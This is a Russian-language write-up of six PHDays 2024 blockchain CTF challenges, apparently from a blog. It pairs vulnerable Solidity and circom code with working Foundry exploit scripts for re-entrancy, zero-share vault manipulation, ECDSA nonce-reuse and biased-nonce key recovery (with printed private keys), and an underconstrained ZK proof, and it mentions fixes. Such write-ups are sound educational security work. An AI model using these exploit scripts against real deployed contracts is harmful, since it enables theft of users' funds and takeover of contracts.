С 23 по 26 мая Positive Technologies проводили конференцию PHDays по кибер безопасности с CTF конкурсами по разным направлениям. Про Web3 blockchain CTF узнал случайно от друзей и очень обрадовался, т.к. этой сферой давно интересуюсь. По итогу занял 2-е место, далее разберу все задачи.

1. WrappedEther

Задача

We have developed a wrapped ether contract so that it can be handled in Defi protocols like ERC20 tokens. Will you be able to find a vulnerability and take all the funds out of the contract?

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
contract WrappedEther {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
 
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 amount
    );
    event Deposit(address indexed from, uint256 amount);
    event Withdraw(address indexed to, uint256 amount);
 
    function deposit(address to) external payable {
        balanceOf[to] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }
 
    function withdraw(uint256 amount) external {
        require(balanceOf[msg.sender] >= amount, "insufficient balance");
        balanceOf[msg.sender] -= amount;
        sendEth(payable(msg.sender), amount);
        emit Withdraw(msg.sender, amount);
    }
 
    function withdrawAll() external {
        sendEth(payable(msg.sender), balanceOf[msg.sender]);
        balanceOf[msg.sender] = 0;
        emit Withdraw(msg.sender, balanceOf[msg.sender]);
    }
 
    function transfer(address to, uint256 amount) external {
        require(balanceOf[msg.sender] >= amount, "insufficient balance");
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        emit Transfer(msg.sender, to, amount);
    }
 
    function transferFrom(address from, address to, uint256 amount) external {
        require(balanceOf[from] >= amount, "insufficient balance");
        require(
            allowance[from][msg.sender] >= amount,
            "insufficient allowance"
        );
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        allowance[from][msg.sender] -= amount;
        emit Transfer(from, to, amount);
    }
 
    function approve(address spender, uint256 amount) external {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
    }
 
    function sendEth(address payable to, uint256 amount) private {
        (bool success, ) = to.call{value: amount}("");
        require(success, "failed to send ether");
    }
}

В задании хотят, чтобы мы забрали все средства с контракта, ок, смотрим функции для вывода монет и сразу натыкаемся на re-entrancy уязвимость в withdrawAll()

function withdrawAll() external {
        sendEth(payable(msg.sender), balanceOf[msg.sender]);
        balanceOf[msg.sender] = 0;
        emit Withdraw(msg.sender, balanceOf[msg.sender]);
    }

функция sendEth() отправляет монеты пользователю и лишь затем баланс обнуляется, нарушается паттерн Checks Effects Interactions (CEI) - сначала проверки, затем изменение данных и только потом взаимодействие с пользователем

Создаем атакующий контракт, который при получении монет еще раз вызовет withdrawAll() что позволит снять средства еще раз

    receive() external payable {
        if (msg.sender.balance > 0) {
            _reentranceInstanceP.withdrawAll();
        } else {
            payable(tx.origin).transfer(address(this).balance);
        }
    }

Поскольку сумма на контракте была небольшая, я сделал депозит с атакующего контракта, равный балансу атакуемого контракта для минимизации операций в транзакции (все-равно все монеты вернутся назад после атаки)

Решение

Полный код атакующего скрипта на forge

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "../src/Task.sol";
import {Script, console} from "forge-std/Script.sol";

contract Hack {
    uint public initBalance = address(this).balance;
    WrappedEther public _reentranceInstanceP;

    constructor(WrappedEther _reentranceInstance) payable {
        _reentranceInstanceP = _reentranceInstance;
    }

    function hackContract() external {
        console.log("Deposit:", initBalance);
        _reentranceInstanceP.deposit{value: initBalance}(address(this));
        console.log(
            "Current instance balance: ",
            address(_reentranceInstanceP).balance
        );
        console.log("Withdraw with reentrancy");
        _reentranceInstanceP.withdrawAll();
    }

    receive() external payable {
        if (msg.sender.balance > 0) {
            _reentranceInstanceP.withdrawAll();
        } else {
            payable(tx.origin).transfer(address(this).balance);
        }
    }
}

contract Solution is Script {
    WrappedEther public wrappedEtherInstance =
        WrappedEther(payable(<Адрес атакуемого контракта>));

    function run() external {
        vm.startBroadcast();
        console.log(
            "Contract Balance: ",
            address(wrappedEtherInstance).balance
        );

        Hack hackContractInstance = new Hack{
            value: address(wrappedEtherInstance).balance
        }(wrappedEtherInstance);
        hackContractInstance.hackContract();
        console.log(
            "Contract Balance: ",
            address(wrappedEtherInstance).balance
        );
        vm.stopBroadcast();
    }
}

Устранение уязвимости - в данном случае достаточно передвинуть строку обнуления баланса перед отправкой средств, в общем случае лучше пользоваться модификатором nonReentrant и соблюдать принцип CEI

Несмотря на то что re-entrancy атаки обнаруживаются статистическими анализаторами и даже ChatGPT, данный тип атак все еще входит в топ 10 уязвимостей (7 и 8 место за 2023) по украденным средствам

2. AntiRugPull

Задача

A new protocol promising high APR has appeared in the network. When you carefully study the project code, you, as a professional, realize that it is a scam, right?) Now your task is to teach the scammers who deployed the project in the network a lesson so that they could not withdraw funds from the protocol.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
 
contract MintableERC20 is ERC20 {
    constructor(
        string memory name,
        string memory symbol,
        uint256 mintAmount
    ) ERC20(name, symbol) {
        _mint(msg.sender, mintAmount);
    }
}
 
contract Vault {
    address public owner;
    MintableERC20 public token;
    mapping(address => uint256) public shares;
    uint256 public totalShares;
 
    constructor(address _token) {
        owner = msg.sender;
        token = MintableERC20(_token);
    }
 
    function deposit(uint256 _amount) external {
        require(_amount > 0, "Vault: amount must be greater than 0");
 
        uint256 currentBalance = token.balanceOf(address(this));
        uint256 currentShares = totalShares;
 
        uint256 newShares;
        if (currentShares == 0) {
            newShares = _amount;
        } else {
            newShares = (_amount * currentShares) / currentBalance;
        }
 
        shares[msg.sender] += newShares;
        totalShares += newShares;
 
        token.transferFrom(msg.sender, address(this), _amount);
    }
 
    function withdraw(uint256 _sharesAmount) external {
        require(_sharesAmount > 0, "Vault: amount must be greater than 0");
 
        uint256 currentBalance = token.balanceOf(address(this));
        uint256 payoutAmount = (_sharesAmount * currentBalance) / totalShares;
 
        shares[msg.sender] -= _sharesAmount;
        totalShares -= _sharesAmount;
 
        if (msg.sender == owner) {
            payoutAmount = token.balanceOf(address(this));
        }
 
        token.transfer(msg.sender, payoutAmount);
    }
}

От нас хотят, чтобы владелец не смог забрать свои средства, смотрим контракт, владельца мы менять не можем, как только owner попадет в функцию withdraw() заберет все средства, тогда единственный способ ему помешать - сделать так, чтобы условие _sharesAmount > 0 не выполнялось, т.е owner не должен получить shares.

Смотрим функцию deposit() и как вычисляются newShares, замечаем что при первом пополнении newShares равно внесенному балансу, а затем вычисляются по формуле, исходя из текущего баланса контракта

uint256 currentBalance = token.balanceOf(address(this));
uint256 currentShares = totalShares;

if (currentShares == 0) {
            newShares = _amount;
        } else {
            newShares = (_amount * currentShares) / currentBalance;
        }

Проверяем балансы токенов, у нас 9 токенов, у owner 1, метод transfer у MintableERC20 доступен для использования всем желающим, можем применить zero shares атаку (доклад Сергея Прилуцкого с PHDays 2023)

Делаем депозит 1 wei и получаем 1 share, затем делаем transfer 1 token напрямую на контракт и получаем currentBalance = 10**18 +1, теперь любой, закинувший на баланс <= 1 токена из-за целочисленной арифметики получит 0 shares и не сможет попасть в withdraw

Решение
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/Task.sol";
import {Script, console} from "forge-std/Script.sol";

contract Solution is Script {
    function run() external {
        Vault vaultInstance = Vault(
            payable(<Адрес атакуемого контракта>)
        );
        MintableERC20 tokenInstance = vaultInstance.token();
        vm.startBroadcast();
        tokenInstance.approve(address(vaultInstance), 1);
        vaultInstance.deposit(1);
        tokenInstance.transfer(address(vaultInstance), 1 ether);
        vm.stopBroadcast();
    }
}

Устранение уязвимости - во избежание zero shares атак рекомендуется делать dead shares - в транзакции разворачивания контракта необходимо добавить создание начального количества токенов, например на нулевом адресе (подробнее в том же докладе)

3. FakeDAO

Задача

In the very first version of the DAO community, FakeDAO, the owner fixed the bug. However, it seems that the protocol is still vulnerable...

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
 
contract OffchainCheckOwner {
    address public owner;
 
    event Signed(uint8 v, bytes32 r, bytes32 s, bytes32 hash);
 
    // Restrict reusing signatures
    mapping(bytes32 => bool) public used;
 
    constructor(address _owner) {
        owner = _owner;
    }
 
    function checkOwner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _hash) internal {
        require(!used[_hash], "hash was used");
        address signer = ecrecover(_hash, _v, _r, _s);
        require(signer == owner, "wrong owner");
        used[_hash] = true;
        emit Signed(_v, _r, _s, _hash);
    }
}
 
contract DAO2 is OffchainCheckOwner {
    uint256 counter;
    uint256 round;
    uint256 border = 10;
    mapping(address => uint256) registered;
 
    event Contributed(address contributer, uint256 amount);
    event NewBorder(uint256 value);
    event OwnerChanged(address newOwner);
 
    constructor(address _owner) payable OffchainCheckOwner(_owner) {}
 
    function register() external {
        require(registered[msg.sender] == 0);
        counter += 1;
        registered[msg.sender] = counter;
    }
 
    function contribute() external payable {
        require(registered[msg.sender] != 0);
        if (msg.value >= address(this).balance) {
            // If you are big DAO's contributer, you definitely deserve an upgrade
            registered[msg.sender] += 1;
        }
        emit Contributed(msg.sender, msg.value);
    }
 
    function voteForYourself() external {
        require(registered[msg.sender] != 0);
        // You can vote only once
        require(registered[msg.sender] % border == 0 && counter / border == round + 1);
        emit OwnerChanged(msg.sender);
        owner = msg.sender;
        round += 1;
    }
 
    function ownerContribute(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _hash) external payable {
        checkOwner(_v, _r, _s, _hash);
        require(msg.value > 0);
        emit Contributed(owner, msg.value);
    }
 
    function changeDAOowner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _salt, address _newOwner) external {
        // add 0x01 prefix to prevent collisions with other types of messages
        uint256 value = address(this).balance;
        bytes32 hash = keccak256(abi.encode(uint8(0x01), value, _salt));
        checkOwner(_v, _r, _s, hash);
        emit OwnerChanged(_newOwner);
        owner = _newOwner;
    }
 
    function setBorder(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _salt, uint256 _newBorder) external {
        // add 0x02 prefix to prevent collisions with other types of messages
        bytes32 hash = keccak256(abi.encode(uint8(0x02), _newBorder, _salt));
        checkOwner(_v, _r, _s, hash);
        border = _newBorder;
        emit NewBorder(_newBorder);
    }
 
    function withdraw() public {
        payable(owner).transfer(address(this).balance);
    }
}

Эта задача - часть серии задач FakeDAO -> DAO1 -> DAO2 по возрастанию сложности в которых было необходимо стать владельцем контракта.

Первую задачу можно было решить "в лоб", рассмотрим функцию voteForYourself() которая позволяет сменить владельца

function voteForYourself() external {
        require(registered[msg.sender] != 0);
        // You can vote only once
        require(registered[msg.sender] % border == 0 && counter / border == round + 1);
        emit OwnerChanged(msg.sender);
        owner = msg.sender;
        round += 1;
    }

Необходимо, чтобы выполнялось равенство, при border = 10, round = 0

registered[msg.sender] % border == 0 && counter / border == round + 1, подставляем

registered[msg.sender] % 10 == 0 && counter / 10 == 1, т.е. необходимо получить registered[msg.sender] кратное 10 и 10 <= counter < 20, они меняются в функции register()

	function register() external {
        require(registered[msg.sender] == 0);
        counter += 1;
        registered[msg.sender] = counter;
    }

Ок, нам достаточно зарегистрировать 9 человек и оказаться 10-м, тогда registered[msg.sender] будет равен 10, а counter 10, пишем скрипт, создающий 9 контрактов и регистрирующихся как пользователи, а затем, регистрируемся сами и не забываем забрать монеты с контракта.

Решение
pragma solidity ^0.8.19;

import {Script, console} from "forge-std/Script.sol";
import "../src/Task.sol";

contract Hack {
    constructor(DAO _daoInstance) {
        _daoInstance.register();
    }
}

contract Solution is Script {
    function run() external {
        DAO daoInstance = DAO(
            payable(<адрес контракта>)
        );
        vm.startBroadcast();
        for (uint i = 0; i < 9; i++) {
            new Hack(daoInstance);
        }
        daoInstance.register();
        daoInstance.withdraw();
        vm.stopBroadcast();
    }
}

4. DAO1

Задача

You have before you a DAO community protocol in which every tenth contributor can become its new owner by voting for himself. At first glance, the current owner has taken care of the security of the change-of-ownership mechanism. But this is only at first glance...

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
 
contract OffchainCheckOwner {
    address public owner;
 
    event Signed(uint8 v, bytes32 r, bytes32 s, bytes32 hash);
 
    // Restrict reusing signatures
    mapping(bytes32 => bool) public used;
 
    constructor(address _owner) {
        owner = _owner;
    }
 
    function checkOwner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _hash) internal {
        require(!used[_hash]);
        address signer = ecrecover(_hash, _v, _r, _s);
        require(signer == owner);
        used[_hash] = true;
        emit Signed(_v, _r, _s, _hash);
    }
}
 
contract DAO is OffchainCheckOwner {
    uint256 border = 10;
    mapping(address => bool) registered;
    mapping(address => uint256) contributes;
 
    event Contributed(address contributer, uint256 amount);
    event NewBorder(uint256 value);
    event OwnerChanged(address newOwner);
 
    constructor(address _owner) payable OffchainCheckOwner(_owner) {}
 
    function register() external {
        require(registered[msg.sender] == false);
        registered[msg.sender] = true;
    }
 
    function contribute(address user) external payable {
        require(registered[msg.sender] == true);
        if (msg.value >= address(this).balance) {
            // If you are big DAO's contributer, you definitely deserve an upgrade
            contributes[user] += 1;
        }
        emit Contributed(msg.sender, msg.value);
    }
 
    function voteForYourself() external {
        require(registered[msg.sender] == true);
        // You can vote only once
        require(contributes[msg.sender] < 0);
        emit OwnerChanged(msg.sender);
        owner = owner;
    }
 
    function ownerContribute(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _hash) external payable {
        checkOwner(_v, _r, _s, _hash);
        require(msg.value > 0);
        emit Contributed(owner, msg.value);
    }
 
    function changeDAOowner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _salt, address _newOwner) external {
        // add 0x01 prefix to prevent collisions with other types of messages
        uint256 value = address(this).balance;
        bytes32 hash = keccak256(abi.encode(uint8(0x01), value, _salt));
        checkOwner(_v, _r, _s, hash);
        emit OwnerChanged(_newOwner);
        owner = _newOwner;
    }
 
    function setBorder(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _salt, uint256 _newBorder) external {
        // add 0x02 prefix to prevent collisions with other types of messages
        bytes32 hash = keccak256(abi.encode(uint8(0x02), _newBorder, _salt));
        checkOwner(_v, _r, _s, hash);
        border = _newBorder;
        emit NewBorder(_newBorder);
    }
 
    function withdraw() public {
        payable(owner).transfer(address(this).balance);
    }
}

Ок, посмотрим ту же функцию voteForYourself()

function voteForYourself() external {
        require(registered[msg.sender] == true);
        // You can vote only once
        require(contributes[msg.sender] < 0);
        emit OwnerChanged(msg.sender);
        owner = owner;
    }

В этот раз голосуй не голосуй, owner не поменяется. Что же, посмотрим, где еще можно поменять owner, видим функцию changeDAOowner

function changeDAOowner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _salt, address _newOwner) external {
        // add 0x01 prefix to prevent collisions with other types of messages
        uint256 value = address(this).balance;
        bytes32 hash = keccak256(abi.encode(uint8(0x01), value, _salt));
        checkOwner(_v, _r, _s, hash);
        emit OwnerChanged(_newOwner);
        owner = _newOwner;
    }

Осталось только где-то раздобыть v, r, s владельца для подписи, смотрим, были ли транзакции с этим контрактом, также замечаем что на все операции с ECDSA подписями создается event Signed(uint8 v, bytes32 r, bytes32 s, bytes32 hash), смотрим лог событий для этого контракта в обозревателе

что мы тут видим - одинаковые r для двух разных подписей, да это же ECDSA Nonce Reuse Attack (этой же уязвимостью была взломана SonyPS3 в 2010), восстанавливаем ключ по формуле:

и запускаем им смену владельца changeDAOowner

Решение
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {Script, console} from "forge-std/Script.sol";
import "../src/Task.sol";


contract Solution is Script {
    function run() external {
        DAO daoInstance = DAO(
            payable(<адрес контракта>)
        );
        daoInstance.register();
        uint256 alicePk = 0x212efffe843107cea143dc42d505a75947aa1be51c18ee473f78781e9270279a;
        bytes32 salt = "";
        uint256 value = address(daoInstance).balance;
        bytes32 hash = keccak256(abi.encode(uint8(0x01), value, salt));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePk, hash);
        daoInstance.changeDAOowner(v, r, s, salt, tx.origin);
        daoInstance.withdraw();
        console.log("owner: ", daoInstance.owner());
        vm.stopBroadcast();
    }
}

5. DAO2

Задача

In the new version of the DAO community protocol, DAO2, the owner has fixed the bug. However, it seems that the protocol is still vulnerable to the previous bug, which is understood in cryptography.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
 
contract OffchainCheckOwner {
    address public owner;
 
    event Signed(uint8 v, bytes32 r, bytes32 s, bytes32 hash);
 
    // Restrict reusing signatures
    mapping(bytes32 => bool) public used;
 
    constructor(address _owner) {
        owner = _owner;
    }
 
    function checkOwner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _hash) internal {
        require(!used[_hash]);
        address signer = ecrecover(_hash, _v, _r, _s);
        require(signer == owner);
        used[_hash] = true;
        emit Signed(_v, _r, _s, _hash);
    }
}
 
contract DAO is OffchainCheckOwner {
    uint256 border = 10;
    mapping(address => bool) registered;
    mapping(address => uint256) contributes;
 
    event Contributed(address contributer, uint256 amount);
    event NewBorder(uint256 value);
    event OwnerChanged(address newOwner);
 
    constructor(address _owner) payable OffchainCheckOwner(_owner) {}
 
    function register() external {
        require(registered[msg.sender] == false);
        registered[msg.sender] = true;
    }
 
    function contribute(address user) external payable {
        require(registered[msg.sender] == true);
        if (msg.value >= address(this).balance) {
            // If you are big DAO's contributer, you definitely deserve an upgrade
            contributes[user] += 1;
        }
        emit Contributed(msg.sender, msg.value);
    }
 
    function voteForYourself() external {
        require(registered[msg.sender] == true);
        // You can vote only once
        require(contributes[msg.sender] < 0);
        emit OwnerChanged(msg.sender);
        owner = owner;
    }
 
    function ownerContribute(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _hash) external payable {
        checkOwner(_v, _r, _s, _hash);
        require(msg.value > 0);
        emit Contributed(owner, msg.value);
    }
 
    function changeDAOowner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _salt, address _newOwner) external {
        // add 0x01 prefix to prevent collisions with other types of messages
        uint256 value = address(this).balance;
        bytes32 hash = keccak256(abi.encode(uint8(0x01), value, _salt));
        checkOwner(_v, _r, _s, hash);
        emit OwnerChanged(_newOwner);
        owner = _newOwner;
    }
 
    function setBorder(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _salt, uint256 _newBorder) external {
        // add 0x02 prefix to prevent collisions with other types of messages
        bytes32 hash = keccak256(abi.encode(uint8(0x02), _newBorder, _salt));
        checkOwner(_v, _r, _s, hash);
        border = _newBorder;
        emit NewBorder(_newBorder);
    }
 
    function withdraw() public {
        payable(owner).transfer(address(this).balance);
    }
}

Код остался прежний, интересно, что же с подписями?

Смотрим подписи

Вот это поворот! Их 4, они все с разными nonce и даже nonce не выглядят похожими друг на друга. Постойте, мы знаем r и значение s для v =28, что соответствует второй точке на эллиптической кривой, мы можем вычислить значение s для v=27 и тех же данных для первой точки, но нет, создатели контракта позаботились о защите от reuse атаки, добавив checkOwner функцию во все операции

// Restrict reusing signatures
mapping(bytes32 => bool) public used;

function checkOwner(uint8 _v, bytes32 _r, bytes32 _s, bytes32 _hash) internal {
        require(!used[_hash]);
        address signer = ecrecover(_hash, _v, _r, _s);
        require(signer == owner);
        used[_hash] = true;
        emit Signed(_v, _r, _s, _hash);
    }

Хорошо, может быть задания DAO2 и DAO1 связаны и нам надо вычислить публичный адрес, проверить его на фабрике уровня задания DAO1 и по имеющимся в нем подписям восстановить ключ? Нет, совпадений среди всех вариантов не нашлось.

К сожалению, мне не удалось решить это задание, по окончанию конкурса единственный игрок, решивший это задание (its5Q) раскрыл в чате конкурса, что это Biased Nonce Sense, интересный доклад от Nadia Heninger, а нашел он его с помощью проекта paranoid-crypto

Вставляем свои значения в чекер paranoid-crypto, находим приватный ключ

и меняем владельца

Решение
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {Script, console} from "forge-std/Script.sol";
import "../src/Task.sol";


contract Solution is Script {
    function run() external {
        DAO daoInstance = DAO(
            payable(<адрес контракта>)
        );
        daoInstance.register();
        uint256 alicePk = 0xf34fbbde85b0ab4a75a2d9186cb515ec0e86fe989af91c2d597e1b94806858c2;
        bytes32 salt = "";
        uint256 value = address(daoInstance).balance;
        bytes32 hash = keccak256(abi.encode(uint8(0x01), value, salt));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePk, hash);
        daoInstance.changeDAOowner(v, r, s, salt, tx.origin);
        daoInstance.withdraw();
        console.log("owner: ", daoInstance.owner());
        vm.stopBroadcast();
    }
}

6. Underconstrained

Задача

The developers were not careful and left the bug in the code. Will you be able to exploit the vulnerability? The “Check the proof” button creates a proof based on your witness (.wtns), checks it and sends the proof to the contract.

pragma circom 2.1.8;
 
template Main() {
    signal input x;
    signal input y;
 
    signal output out;
 
    signal a;
    signal b;
 
    1 === x + y;
    a <== x * y; 
    b <-- a * a;
 
    out <== b * a;
}
 
component main = Main();
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
 
import {Groth16Verifier} from "./verifier.sol";
 
contract Underconstrained is Groth16Verifier {
    uint256 public immutable out;
    bool public flag;
 
    constructor(uint256 _out) {
        out = _out;
    }
 
    function verify(
        uint256[2] calldata _pA,
        uint256[2][2] calldata _pB,
        uint256[2] calldata _pC,
        uint256[1] calldata _pubSignals
    ) public {
        require(_pubSignals[0] == out, "error public");
        flag = verifyProof(_pA, _pB, _pC, _pubSignals);
        require(flag, "wrong proof");
    }
}

Что это за штука такая и что за witness от нас хотят? Как удачно, что в блокчейн секции на PHDays 2024 был ликбез доклад Владимира Попова о zero knowledge протоколах

Хорошо, это что-то вроде микросхемы с сигналами и нам надо как-то изменить circom файл так, чтобы witness файл для входных x и y на выходе давал адрес нашего кошелька _pubSignals[0] == out задача ясна.

Опять же удачно, что в блокчейн секции был еще один доклад Сергея Прилуцкого об уязвимостях в протоколах на базе ZK-SNARK, да это же наш случай - сигнал без использования констрейнта, т.е. в

b <-- a * a; сигнал не проверяется и в b можно отправить любое значение, из системы

1 === x + y;
a <== x * y;
b <-- a * a;

out <== b * a;

получаем:

b = наш_публичный_адрес / x * (1 - x),

b должно быть целочисленное, ок, возьмем x = 2, y = - 1, тогда b будет равно наш_публичный_адрес/ -2

Решение
pragma circom 2.1.8;
 
template Main() {
    signal input x;
    signal input y;
 
    signal output out;
 
    signal a;
    signal b;
 
    1 === x + y;
    a <== x * y; 
    b <-- -640381347514406923965716536870369836672564911922;
 
    out <== b * a;
}
 
component main = Main();

компилируем, генерируем witness файл для x = 2, y = - 1, решение успешно проходит верификацию.

Казалось бы это все, но выяснилось что мы с its5Q решили задачу разными способами. Дело в том, что Groth16 работает в пространстве значений BN254, т.е. все значения вычисляются по модулю этого простого числа, таким образом можно использовать переполнение для подбора значения, не подменяя формулу в сигнале b, т.е.

x + y mod BN254 = 1

a = x * y mod BN254

публичный_адрес = a * a * a mod BN254

Для решения он использовал Wolfram alpha получив тем самым x и y не подменяя b

На этом все, спасибо организаторам, задачи получились интересные, на высоком уровне, также очень помогли доклады с конференций за этот и прошлый год.

Комментарии (0)